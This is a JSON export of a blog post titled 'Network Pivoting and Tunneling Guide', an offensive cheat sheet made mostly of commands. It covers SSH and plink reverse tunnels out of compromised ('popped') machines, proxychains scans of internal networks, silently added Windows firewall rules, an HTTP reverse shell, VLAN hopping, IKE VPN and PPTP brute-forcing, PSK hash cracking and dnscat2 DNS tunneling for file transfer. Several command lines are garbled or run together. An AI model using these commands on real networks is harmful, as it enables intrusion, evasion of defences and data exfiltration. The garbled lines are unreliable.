{"id":948,"date":"2020-10-22T14:51:02","date_gmt":"2020-10-22T03:51:02","guid":{"rendered":"https:\/\/catharsis.net.au\/blog\/?p=948"},"modified":"2020-10-22T22:14:03","modified_gmt":"2020-10-22T11:14:03","slug":"network-pivoting-and-tunneling-guide","status":"publish","type":"post","link":"https:\/\/catharsis.net.au\/blog\/network-pivoting-and-tunneling-guide\/","title":{"rendered":"Network Pivoting and Tunneling Guide"},"content":{"rendered":"\n<p class=\"has-background\" style=\"background-color:#a0eecf\">This is for pure educational &amp; informational purpose. Only use these techniques where allowed or you have permission to do so. Power comes with great responsibility.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Port Forwarding &#8211; accept traffic on a given IP address and port and redirect it to a different IP address and port<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>apt-get install rinetd\ncat \/etc\/rinetd.conf # bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>SSH Local Port Forwarding: supports bi-directional communication channels<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh &lt;gateway> -L &lt;local port to listen>:&lt;remote host>:&lt;remote port><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh &lt;gateway> -R &lt;remote port to bind>:&lt;local host>:&lt;local port><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -D &lt;local proxy port> -p &lt;remote port> &lt;target><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>Proxychains &#8211; Perform Nmap scan within a DMZ from an external computer<ul><li>Create a reverse SSH tunnel from the Popped machine on: 2222 <\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:&lt;local host>:22 root@&lt;remote host><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li><ul><li>Create a Dynamic application-level port forward on 8080 thru 2222<\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -f -N -D &amp;lt;local host>:8080 -p 2222 hax0r@&lt;remote host><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li><ul><li>Leverage the SSH SOCKS server to perform Nmap scan on the network using proxy chains <\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>proxychains nmap --top-ports=20 -sT -Pn $ip\/24<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>HTTP Tunneling <code>nc -vvn <\/code><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>$ip 8888<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>Traffic Encapsulation &#8211; Bypassing deep packet inspection<ul><li>HTTP tunnel<br>On the server-side:<\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo hts -F &lt;server ip addr>:&lt;port of your app> 80<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li><ul><li>On the client-side:<\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo htc -P &lt;my proxy.com:proxy port> -F &lt;port of your app> &lt;server ip addr>:80 stunnel<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network<ul><li>Tunnel on port 22<\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>plink -l root -pw pass -R 3389:&lt;localhost>:3389 &lt;remote host><\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li> <ul><li>Port 22 blocked? Try port 80? or 443? <\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>plink -l root -pw 23847sd98sdf987sf98732 -R 3389:&lt;local host>:3389 &lt;remote host> -P80<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)<ul><li>Windows machine add required firewall rules without prompting the user<\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>netsh advfirewall firewall add rule name=\"httptunnel_client\" dir=in action=allow program=\"httptunnel_client.exe\" enable=yes<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>netsh advfirewall firewall add rule name=\"3000\" dir=in action=allow protocol=TCP localport=3000<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>netsh advfirewall firewall add rule name=\"1080\" dir=in action=allow protocol=TCP localport=1080<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>netsh advfirewall firewall add rule name=\"1079\" dir=in action=allow protocol=TCP localport=1079<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li><ul><li>Start the http tunnel client <ul><li><code>httptunnel_client.exe<\/code><\/li><\/ul><\/li><li>Create HTTP reverse shell by connecting to localhost port 3000 <ul><li><code>plink -l root -pw 23847sd98sdf987sf98732 -R 3389:&lt;local host&gt;:3389 &lt;remote host&gt; -P 3000<\/code><\/li><\/ul><\/li><\/ul><\/li><li>VLAN Hopping<ul><li>git clone https:\/\/github.com\/nccgroup\/vlan-hopping.git chmod 700 frogger.sh .\/frogger.sh<\/li><\/ul><\/li><li>VPN Overtaking<ul><li>Identify VPN servers:<br><code>.\/udp-protocol-scanner.pl -p ike $ip<\/code><\/li><li>Scan a range for VPN servers:<br><code>.\/udp-protocol-scanner.pl -p ike -f ip.txt<\/code><\/li><li>Use IKEForce to enumerate or dictionary attack VPN servers: <code>pip install pyip<\/code> <code>git clone https:\/\/github.com\/SpiderLabs\/ikeforce.git<\/code> <\/li><li>Perform IKE VPN enumeration with IKEForce: <code>.\/ikeforce.py TARGET-IP \u2013e \u2013w wordlists\/groupnames.dic<\/code> <\/li><li>Bruteforce IKE VPN using IKEForce: <code>.\/ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1<\/code>&nbsp;<\/li><li>Use ike-scan to capture the PSK hash: <\/li><\/ul><\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>ike-scan \nike-scan TARGET-IP \nike-scan -A TARGET-IP \nike-scan -A TARGET-IP --id=myid -P TARGET-IP-key \nike-scan \u2013M \u2013A \u2013n example\\_group -P hash-file.txt TARGET-IP <\/code><\/pre>\n\n\n\n<pre id=\"block-ea4a4818-b782-42e6-853c-a96306a91310\" class=\"wp-block-code\"><code>Use psk-crack to crack the PSK hash:\npsk-crack hash-file.txt \npskcrack psk-crack -b 5 TARGET-IPkey \npsk-crack -b 5 --charset=\"01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\" 192-168-207-134key \npsk-crack -d \/path\/to\/dictionary-file TARGET-IP-key<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>PPTP Overtaking<ul><li>Identifying PPTP, it listens on TCP: 1723<br>NMAP PPTP Fingerprint: <code>nmap \u2013Pn -sV -p 1723 TARGET(S)<\/code>&nbsp;<\/li><li>PPTP Dictionary Attack <code>thc-pptp-bruter -u hansolo -W -w \/usr\/share\/wordlists\/nmap.lst<\/code><\/li><\/ul><\/li><li>Port Forwarding\/Redirection<\/li><li>PuTTY Link tunnel &#8211; SSH Tunneling<ul><li>Forward remote port to local address: <code>plink.exe -P 22 -l root -pw \"1337\" -R 445:&lt;local host&gt;:445 &lt;remote host&gt;<\/code><\/li><\/ul><\/li><li>SSH Pivoting<ul><li>SSH pivoting from one network to another: <code>ssh -D &lt;local host&gt;:1010 -p 22 user@&lt;remote host&gt;<\/code><\/li><\/ul><\/li><li>DNS Tunneling<ul><li>dnscat2 supports \u201cdownload\u201d and \u201cupload\u201d commands for getting iles (data and programs) to and from the target machine.<\/li><li>Attacking Machine Installation: apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https:\/\/github.com\/iagox86\/dnscat2.git cd dnscat2\/server bundle install<\/li><li>Run dnscat2: <code>ruby .\/dnscat2.rb dnscat2&gt; New session established: 1422 dnscat2&gt; session -i 1422<\/code><\/li><\/ul><\/li><\/ul>\n\n\n\n<p class=\"has-background\" style=\"background-color:#fab7c8\">DISCLAIMER: Everything is gathered from different web-resources. Parts of the above writeup belong to unknown authors.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is for pure educational &amp; informational purpose. Only use these techniques where allowed or you have permission to do so. Power comes with great responsibility. Port Forwarding &#8211; accept traffic on a given IP address and port and redirect it to a different IP address and port SSH Local Port Forwarding: supports bi-directional communication [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":954,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[38],"tags":[48,44,46,47,43,45],"class_list":["post-948","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-how-to","tag-dns-tunnel","tag-network","tag-network-pivot","tag-network-tunnel","tag-pivoting","tag-tunneling"],"_links":{"self":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts\/948","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/comments?post=948"}],"version-history":[{"count":16,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts\/948\/revisions"}],"predecessor-version":[{"id":968,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/posts\/948\/revisions\/968"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/media\/954"}],"wp:attachment":[{"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/media?parent=948"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/categories?post=948"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/catharsis.net.au\/blog\/wp-json\/wp\/v2\/tags?post=948"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}